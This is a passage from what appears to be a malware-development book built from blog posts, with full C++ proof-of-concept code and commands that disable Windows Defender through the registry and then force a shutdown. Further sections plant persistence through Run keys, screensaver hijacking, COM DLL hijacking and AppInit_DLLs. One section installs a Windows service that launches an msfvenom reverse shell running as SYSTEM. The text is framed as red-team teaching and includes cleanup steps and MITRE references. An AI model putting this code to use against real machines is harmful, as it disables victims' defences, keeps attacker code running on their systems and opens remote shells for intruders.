Antivirus) protects your computer from external threats. Microsoft has developed
the antivirus to safeguard Windows 10 computers from virus threats.
This antivirus is preinstalled on all Windows 10 editions.
To avoid possible detection of their malware/tools and activities, adversaries
may modify or disable security tools. For example Windows Defender.

practical example
Let’s go to try disable Windows Defender Antivirus via modifying Windows
registry. First of all, it is important to remember that disabling requires adminis-
trator rights. In active mode, Microsoft Defender Antivirus serves as the device’s
primary antivirus program. Threats are remedied and detected threats are listed
in your organization’s security reports and Windows Security application. To
disable all this you just need to modify the registry keys:
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Policies\\Microsoft\\Windows Defender",
0, KEY_ALL_ACCESS, &key);
if (res == ERROR_SUCCESS) {
RegSetValueEx(key, "DisableAntiSpyware", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegCreateKeyEx(key, "Real-Time Protection", 0, 0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &new_key, 0);

347
RegSetValueEx(new_key, "DisableRealtimeMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableBehaviorMonitoring", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableScanOnRealtimeEnable", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableOnAccessProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableIOAVProtection", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));

RegCloseKey(key);
RegCloseKey(new_key);
}

But as I wrote earlier, this requires admin rights, for this we create a function
which check this:
// check for admin rights
bool isUserAdmin() {
bool isElevated = false;
HANDLE token;
TOKEN_ELEVATION elev;
DWORD size;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY, &token)) {
if (GetTokenInformation(token, TokenElevation,
&elev, sizeof(elev), &size)) {
isElevated = elev.TokenIsElevated;
}
}
if (token) {
CloseHandle(token);
token = NULL;
}
return isElevated;
}

Since Windows Vista, UAC has been a crucial feature for mitigating some risks
associated with privilege elevation. Under UAC, local Administrators group
accounts have two access tokens, one with standard user privileges and the other
with administrator privileges. All processes (including the Windows explorer
- explorer.exe) are launched using the standard token, which restricts the
process’s rights and privileges. If the user desires elevated privileges, he may
select “run as Administrator” to execute the process. This opt-in grants the
process all administrative privileges and rights.

348
A script or executable is typically run under the standard user token due to UAC
access token filtering, unless it is “run as Administrator” in elevated privilege
mode. As a developer or hacker, it is essential to understand the mode in which
you are operating.
So, full PoC script to disable Windows Defender is something like:
/*
hack.cpp
disable windows defender dirty PoC
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/06/05/malware-av-evasion-7.html
*/

#include <cstdio>
#include <windows.h>

// check for admin rights


bool isUserAdmin() {
bool isElevated = false;
HANDLE token;
TOKEN_ELEVATION elev;
DWORD size;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY,
&token)) {
if (GetTokenInformation(token, TokenElevation,
&elev, sizeof(elev), &size)) {
isElevated = elev.TokenIsElevated;
}
}
if (token) {
CloseHandle(token);
token = NULL;
}
return isElevated;
}

// disable defender via registry


int main(int argc, char* argv[]) {
HKEY key;
HKEY new_key;
DWORD disable = 1;

if (!isUserAdmin()) {

349
printf("please, run as admin.\n");
return -1;
}

LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,


"SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0,
KEY_ALL_ACCESS, &key);
if (res == ERROR_SUCCESS) {
RegSetValueEx(key, "DisableAntiSpyware", 0,
REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegCreateKeyEx(key, "Real-Time Protection", 0,
0, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, 0, &new_key, 0);
RegSetValueEx(new_key, "DisableRealtimeMonitoring",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableBehaviorMonitoring",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableScanOnRealtimeEnable",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableOnAccessProtection",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));
RegSetValueEx(new_key, "DisableIOAVProtection",
0, REG_DWORD, (const BYTE*)&disable, sizeof(disable));

RegCloseKey(key);
RegCloseKey(new_key);
}

printf("perfectly disabled :)\n");


printf("press any key to restart to apply them.\n");
system("pause");
system("C:\\Windows\\System32\\shutdown /s /t 0");
return 1;
}

demo
Let’s go to see everything in action. First of all, check our defender:

350
and check registry keys:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s

As you can see, we have standard registry keys.


Then, let’s go to compile our script from attacker’s machine:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run it on the victim’s machine:


.\hack.exe

351
According to the logic of the our program, the machine turns off. Then, turn on
it again and check:
reg query "HKLM\Software\Policies\Microsoft\Windows Defender" /s

For correctness, check via Windows Defender Security Center:

352
As you can see, everything is worked perfectly!
But of course, this trick is not new, nowadays threat actors may tamper with
artifacts deployed and utilized by security tools. Security products may load
their own modules and/or modify those loaded by processes to facilitate data

353
collection. Adversaries may unhook or otherwise modify these features added by
tools to avoid detection.
This trick is used by Maze and Pysa ransomwares in the wild.
For the next part, I’ll learn and research a trick, the point of which is to deprive
the antivirus process of privileges, thanks to which it can check files for malware.
MITRE ATT&CK. Impair Defenses: Disable or Modify Tools
Gorgon Group
H1N1 Malware
Maze ransomware
Pysa ransomware
source code on github

42. malware development: persistence - part 1. Registry


run keys. C++ example.

This section starts a chapter on windows malware persistence techniques and


tricks.
Today I’ll wrote about the result of self-researching “classic” persistence trick:
startup folder registry keys.

run keys
Adding an entry to the “run keys” in the registry will cause the app referenced to
be executed when a user logs in. These apps will be executed under the context
of the user and will have the account’s associated permissions level.
The following run keys are created by default on Windows Systems:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

354
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Please note that this suggests to another trick to anti-VM (Virtual-


Box)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Threat actors can use these configuration locations to execute malware to


maintain persistence through system reboots. Threat actors may also use
masquerading to make the registry entries look as if they are associated with
legitimate programs.

practical example
Let’s go to look at a practical example. Let’s say we have a “malware” hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance,


HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow) {

355
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

Let’s go to compile it:


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And save it to folder Z:\\2022-04-20-malware-pers-1\:

Then, let’s create a script pers.cpp that creates registry keys that will execute
our program hack.exe when we log into Windows:
/*
pers.cpp
windows low level persistense
via start folder registry key
author: @cocomelonc

356
https://cocomelonc.github.io/tutorial/
2022/04/20/malware-pers-1.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-04-20-malware-pers-1\\hack.exe";

// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}

As you can see, logic is simplest one. We just add new registry key. Registry
keys can be added from the terminal to the run keys to achieve persistence, but
since I love to write code, I wanted to show how to do it with some lines of code.

demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, first of all, check registry keys in the victim’s machine:


reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

357
Then, run our pers.exe script and check again:
.\pers.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

As you can see, new key added as expected.


So now, check everything in action. Logout and login again:

358
Pwn! Everything is worked perfectly :)

359
After the end of the experiment, delete the keys:
Remove-ItemProperty -Path \
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
-Name "hack"
reg query \
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s

windows 11
This trick is also work on Windows 11:

360
361
362
And cleanup:

conclusion
Creating registry keys that will execute an malicious app during Windows logon
is one of the oldest tricks in the red team playbooks. Various threat actors
and known tools such as Metasploit, Powershell Empire provide this capability
therefore a mature blue team specialists will be able to detect this malicious
activity.
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query

363
source code in github

43. malware development: persistence - part 2. Screensaver


hijack. C++ example.

This post is a second part of a series of articles on windows malware persistence


techniques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick:
Abusing screensavers.

screensavers
Screensavers are programs that execute after a configurable time of user inactivity.
This feature of Windows it is known to be abused by threat actors as a method
of persistence. Screensavers are PE-files with a .scr extension by default and
settings are stored in the following registry keys:
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive

364
set to 1 to enable screensaver.
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut - sets user
inactivity timeout before screensaver is executed.
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE - set the app
path to run.

practical example
Let’s go to look at a practical example. Let’s say we have a “malware” from
previous part hack.cpp:
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance,


HINSTANCE hPrevInstance, LPSTR lpCmdLine,
int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=ˆ..ˆ=", MB_OK);
return 0;
}

Let’s go to compile it:

365
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-mwindows -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

And save it to folder Z:\\2022-04-26-malware-pers-2\:

Then, let’s create a script pers.cpp that creates registry keys that will execute
our program hack.exe when user inactive 10 seconds:
/*
pers.cpp
windows low level persistense via screensaver
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/04/26/malware-pers-2.html
*/
#include <windows.h>
#include <string.h>

int reg_key_compare(HKEY hKeyRoot, char* lpSubKey,


char* regVal, char* compare) {
HKEY hKey = nullptr;
LONG ret;
char value[1024];
DWORD size = sizeof(value);
ret = RegOpenKeyExA(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
if (ret == ERROR_SUCCESS) {
RegQueryValueExA(hKey, regVal, NULL, NULL,

366
(LPBYTE)value, &size);
if (ret == ERROR_SUCCESS) {
if (strcmp(value, compare) == 0) {
return TRUE;
}
}
}
return FALSE;
}

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-04-26-malware-pers-2\\hack.exe";
// timeout
const char* ts = "10";
// activation
const char* aact = "1";

// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,
(LPCSTR)"Control Panel\\Desktop", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveActive", 0,
REG_SZ, (unsigned char*)aact, strlen(aact));
RegSetValueEx(hkey, (LPCSTR)"ScreenSaveTimeOut", 0,
REG_SZ, (unsigned char*)ts, strlen(ts));
RegSetValueEx(hkey, (LPCSTR)"SCRNSAVE.EXE", 0,
REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}

As you can see, logic is simplest one. We just add new registry keys for timeout
and app path. Registry keys can be added from the cmd terminal:
reg add "HKCU\Control Panel\Desktop" /v ScreenSaveTimeOut /d 10
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE \
/d Z:\2022-04-26-malware-pers-2\hack.exe

or powershell commands:
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \
-Name 'ScreenSaveTimeOut' -Value '10'
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' \

367
-Name 'SCRNSAVE.EXE' -Value \
'Z:\2022-04-26-malware-pers-2\hack.exe'

but since I love to write code, I wanted to show how to do it with some lines of
code.

demo
Let’s compile our pers.cpp script:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, for the purity of experiment, first of all, check registry keys in the victim’s
machine and delete keys if exists:
reg query "HKCU\Control Panel\Desktop" /s
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'SCRNSAVE.EXE'

368
Then, run our pers.exe script and check again:
.\pers.exe
reg query "HKCU\Control Panel\Desktop" /s

369
As you can see, new key added as expected.
So now, check everything in action. Logout and login again and wait 10 seconds
or just inactive 10 seconds:

Pwn! Everything is worked perfectly :)


After the end of the experiment, delete the keys:
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'ScreenSaveTimeOut'
Remove-ItemProperty -Path "HKCU:\Control Panel\Desktop" \
-Name 'SCRNSAVE.EXE'
reg query "HKCU\Control Panel\Desktop" /s

370
conclusion
The problem with this persistence trick is that the session is terminated when the
user comes back and the system is not idle. However, red teams can perform their
operations (something like coin miner) during the user’s absence. If screensavers
are disabled by group policy, this method cannot be used for persistence. Also
you can block .scr files from being executed from non-standard locations.
This trick in MITRE ATT&CK
RegOpenKeyEx
RegSetValueEx
RegCloseKey
Remove-ItemProperty
reg query
source code in github

44. malware development: persistence - part 3. COM DLL


hijack. Simple C++ example.

This section is a next part of a series of articles on windows malware persistence


techniques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick:
COM hijacking.

371
Component Object Model
In Windows 3.11, Microsoft introduced the Component Object Model (COM) is
an object-oriented system meant to create binary software components that can
interact with other objects. It’s an interface technology that allows you to reuse
items without knowing how they were made internally.
I’ll show you how red commands can use COM objects to run arbitrary code on
behalf of a trusted process in this post.
When a software needs to load a COM object, it uses the Windows API
CoCreateInstance to construct an uninitialized object instance of a specific
class, with the CLSID as one of the needed parameters (class identifier).
When a program calls CoCreateInstance with a particular CLSID value, the
operating system consults the registry to discover which binary contains the
requested COM code:

The contents of the InProcServer32 subkey under the CLSID key seen in the
previous image are presented in the next image:

In my case, firefox.exe calling CoCreateInstance with CLSID:


{A1DB7B5E-D0EA-4FE0-93C4-314505788272}. The C:\Windows\System32\TaskFlowDataEngine.dll
file associated with the registry key
HKCU\Software\Classes\CLSID\{A1DB7B5E-D0EA-4FE0-93C4-314505788272}\InprocServer32
There are a variety of ways to execute code, but COM has been employed in red
teaming circumstances for persistence, lateral movement, and defense evasion
in various instances. Various registry sub-keys are used during COM Hijacking
depending on how the malicious code is run. These are the following:

372
• InprocServer/InprocServer32

• LocalServer/LocalServer32

• TreatAs

• ProgID
The sub-keys listed above are found in the following registry hives:
• HKEY_CURRENT_USER\Software\Classes\CLSID

• HKEY_LOCAL_MACHINE\Software\Classes\CLSID

how to discover COM keys for hijacking


Identification of COM keys that could be used to commit COM hijacking is simple
and just requires the use of sysinternals Process Monitor to find COM servers that
lack CLSIDs. It also does not require elevated privileges (HKCU). The following
filters can be set up in Process Monitor:

Also still good to add: Exclude if path starts with HKLM


The HKEY CURRENT USER (HKCU) key is examined first when trying to load COM
objects, giving preference to user-specified COM objects rather than system-wide
COM objects (additional information in HKEY CLASSES ROOT key).
In my case, the firefox.exe process exhibits this behavior in the image below.
The process is attempting to access CLSID A6FF50C0-56C0-71CA-5732-BED303A59628
at the HKCU registry key. Because the CLSID isn’t found in the HKCU registry
key, Windows reverts to HCKR (HKLM beneath the hood) for the identical CLSID,
which worked in the previous attempt. This can be checked with commands:
reg query \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s

373
reg query "HKCR\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s

Following the steps outlined above, we now have critical information that we
may use to launch a COM Hijacking attack.

attack process
First off all, export the specified subkeys, entries, and values of the local computer
into a file:
reg export \
"HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}
\InprocServer32" \
C:\...\2022-05-02-malware-pers-3\orig.reg /reg:64 /y

The next step is modify this file to set the default value of
HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32
registry key:

As you can see, we are placing custom DLL to be executed:

374
For simplicity, as always I took all the same file from one of my previous posts.
You can compile it from source code (evil.cpp):
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

375
Then, just run:
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

Save reg file as evil.reg:

And import, then check registry again:


reg import \
C:\...\2022-05-02-malware-pers-3\evil.reg /reg:64
reg query \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" \
/s

Perfect!

demo
Then restart firefox.exe in my case, wait some time. I’ve be waiting around 7
mins:

376
If you notice then PID is 9272. But if you open Process Hacker you can see
that it’s not here:

Firefox crashed after a some time:

377
but it happened the only time.
Later, the “meow-meow” messagebox window popped-up with some frequency:

And even after closing firefox:

378
That’s perfectly! :)

update: programmer way


I also created pers.cpp dirty PoC script:
/*
pers.cpp
windows low level persistence via
COM hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/02/malware-pers-3.html
*/
#include <windows.h>
#include <string.h>
#include <cstdio>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// subkey
const char* sk =
"Software\\Classes\\CLSID\\
{A6FF50C0-56C0-71CA-5732-BED303A59628}\\InprocServer32";

// malicious DLL
const char* dll =
"C:\\Users\\User\\Desktop\\shared\\
2022-05-02-malware-pers-3\\evil.dll";

// startup

379
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER,
(LPCSTR)sk, 0, NULL, REG_OPTION_NON_VOLATILE,
KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, 0, REG_SZ,
(unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey for hijacking :(\n");
return -1;
}
return 0;
}

compile it:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and run:
.\pers.exe

As you can see, everything is work perfectly :)

380
Cleaning after completion of experiments:
reg delete \
"HKCU\Software\Classes\CLSID\
{A6FF50C0-56C0-71CA-5732-BED303A59628}" \
/f

conclusion
An attacker can employ a not-so-common but widely used technique to ensure
silent persistence in a system after executing this actions. In the wild, this trick
was often used by groups such as APT 28, Turla, as well as Mosquito backdoor.
COM hijacking MITRE ATT&CK
APT 28
Turla
RegCreateKeyEx
RegSetValueEx
reg query
reg import
reg export
reg delete
source code in github

45. malware development: persistence - part 4. Windows


services. Simple C++ example.

This section is a next part of a series of articles on windows malware persistence


techniques and tricks.

381
Today I’ll wrote about the result of self-researching another persistence trick:
Windows Services.

windows services
Windows Services are essential for hacking due to the following reasons:
• They operate natively over the network – the entire Services API was
created with remote servers in mind.

• They start automatically when the system boots.

• They may have extremely high privileges in the operating system.


Managing services requires high privileges, and an unprivileged user can often
only view the settings. This has not changed in over twenty years.
In a Windows context, improperly configured services might lead to privilege
escalation or be utilized as a persistence technique.
So, creating a new service requires Administrator credentials and is not a stealthy
persistence approach.

practical example
Let’s go to consider practical example: how to create and run a Windows service
that receives a reverse shell for us.
First of all create reverse shell exe file via msfvenom from my attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe

382
Then, create service which run my meow.exe in the target machine.
The minimum requirements for a service are the following: - A Main Entry point
(like any application)
- A Service Entry point
- A Service Control Handler
In the main entry point, you rapidly invoke StartServiceCtrlDispatcher so
the SCM may call your Service Entry point (ServiceMain):
int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}

The Service Main Entry Point performs the following tasks: - Initialize any
required things that we postponed from the Main Entry Point.
- Register the service control handler (ControlHandler) that will process Service
Stop, Pause, Continue, etc. control commands.
- These are registered as a bit mask via the dwControlsAccepted field of the
SERVICE STATUS structure.
- Set Service Status to SERVICE RUNNING. - Perform initialization procedures.
Such as creating threads/events/mutex/IPCs, etc.
void ServiceMain(int argc, char** argv) {
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted =
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler("MeowService",

383
(LPHANDLER_FUNCTION)ControlHandler);
RunMeow();

serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &serviceStatus);

while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {


Sleep(SLEEP_TIME);
}
return;
}

The Service Control Handler was registered in your Service Main Entry point.
Each service must have a handler to handle control requests from the SCM:
void ControlHandler(DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;

case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);
return;

default:
break;COM DLL hijack
}
SetServiceStatus(hStatus, &serviceStatus);
return;
}

I have only implemented and supported the SERVICE_CONTROL_STOP and


SERVICE_CONTROL_SHUTDOWN requests. You can handle other requests
such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE,
SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others.
Also, create function with evil logic:
// run process meow.exe - reverse shell
int RunMeow() {
void * lb;
BOOL rv;

384
HANDLE th;

// for example:
// msfvenom -p windows/x64/shell_reverse_tcp
// LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
char cmd[] = "Z:\\2022-05-09-malware-pers-4\\meow.exe";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL,
NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
return 0;
}

int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService",
(LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}
};

StartServiceCtrlDispatcher(ServiceTable);
return 0;
}

As I wrote earlier, just create our reverse shell process (meow.exe):

385
Of course, this code is not reference and it is more “dirty” Proof of Concept.

demo
Let’s go to demonstration all.
Compile our service:
x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

We can install the service from the command prompt by running the following
command in target machine Windows 10 x64. Remember that all commands
run as administrator:
sc create MeowService binpath= \
"Z:\2022-05-09-malware-pers-4\meowsrv.exe" \
start= auto

Check:

386
sc query MeowService

If we open the Process Hacker, we will see it in the Services tab:

If we check its properties:

387
The LocalSystem account is a predefined local account used by the service
control manager. It has extensive privileges on the local computer, and acts
as the computer on the network. Its token includes the NT AUTHORITY\SYSTEM
and BUILTIN\Administrators SIDs; these accounts have access to most system
objects. The name of the account in all locales is .\LocalSystem. The name,
LocalSystem or ComputerName\LocalSystem can also be used. This account
does not have a password. If you specify the LocalSystem account in a call to the
CreateService or ChangeServiceConfig function, any password information
you provide is ignored via MSDN.
Then, start service via command:
sc start MeowService

And as you can see, we got a reverse shell!:

And our MeowService service got a PID: 5668:

388
Then, run Process Hacker as non-admin User:

As you can see, it doesn’t show us the username. But, running Process Hacker
as Administartor changes the situation, and we see that our shell running on
behalf NT AUTHORITY\SYSTEM:

389
We will see it in the Network tab:

So, everything is worked perfectly :)


Let’s go cleaning after completion of experiments. Stop service:
sc stop MeowService

390
So, MeowService successfully stopped. And if we delete it:
sc delete MeowService

We can see Process Hacker’s notification about this.


But, there is one very important caveat. You might wonder why we just
not running command:
sc create MeowService \
binpath= "Z:\2022-05-09-pers-4\meow.exe" \
start= auto

Because, meow.exe is not actually a service. As I wrote earlier, the minimum


requirements for a service are following specific functions: main entry point,
service entry point and service control handler. If you try create service from
just meow.exe. It’s just terminate with error.

391
conclusion
This technique is not new, but it is worth paying attention to it, especially entry
level blue team specialists. Threat actors also can modify existing windows
services instead create new ones. In the wild, this trick was often used by groups
such as APT 38, APT 32 and APT 41.
MITTRE ATT&CK. Create or Modify System Process: Windows Service
APT 32
APT 38
APT 41
source code in Github

46. malware development: persistence - part 5. Ap-


pInit_DLLs. Simple C++ example.

This section is a next part of a series of articles on windows malware persistence


techniques and tricks.
Today I’ll wrote about the result of self-researching another persistence trick:
AppInit_DLLs.
Windows operating systems have the functionality to allow nearly all applica-
tion processes to load custom DLLs into their address space. This allows for
the possibility of persistence, as any DLL may be loaded and executed when
application processes are created on the system.

AppInit DLLs
Administrator level privileges are necessary to implement this trick. The following
registry keys regulate the loading of DLLs via AppInit:

392
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows
- 32-bit
• HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows
NT\CurrentVersion\Windows - 64-bit
We are interested in the following values:
reg query \
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /s

And for 64-bit:


reg query \
"HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\
Windows" \
/s

Microsoft to protect Windows users from malware has disabled by default


the loading of DLLs’s via AppInit (LoadAppInit_DLLs). However, setting the
registry key LoadAppInit_DLLs to value 1 will enable this feature.

practical example
First of all, create “evil” DLL. As usual I will take “meow-meow” messagebox
pop-up logic:

393
/*
evil.cpp
inject via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

extern "C" {
__declspec(dllexport) BOOL WINAPI runMe(void) {
MessageBoxA(NULL, "Meow-meow!", "=ˆ..ˆ=", MB_OK);
return TRUE;
}
}

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
runMe();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

Let’s go to compile it:


x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

394
Then simple logic: changing the registry key AppInit_DLLs to contain the path
to the DLL, as a result, evil.dll will be loaded.
For this create another app pers.cpp:
/*
pers.cpp
windows low level persistense via Appinit_DLLs
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/05/16/malware-pers-5.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
// malicious DLL
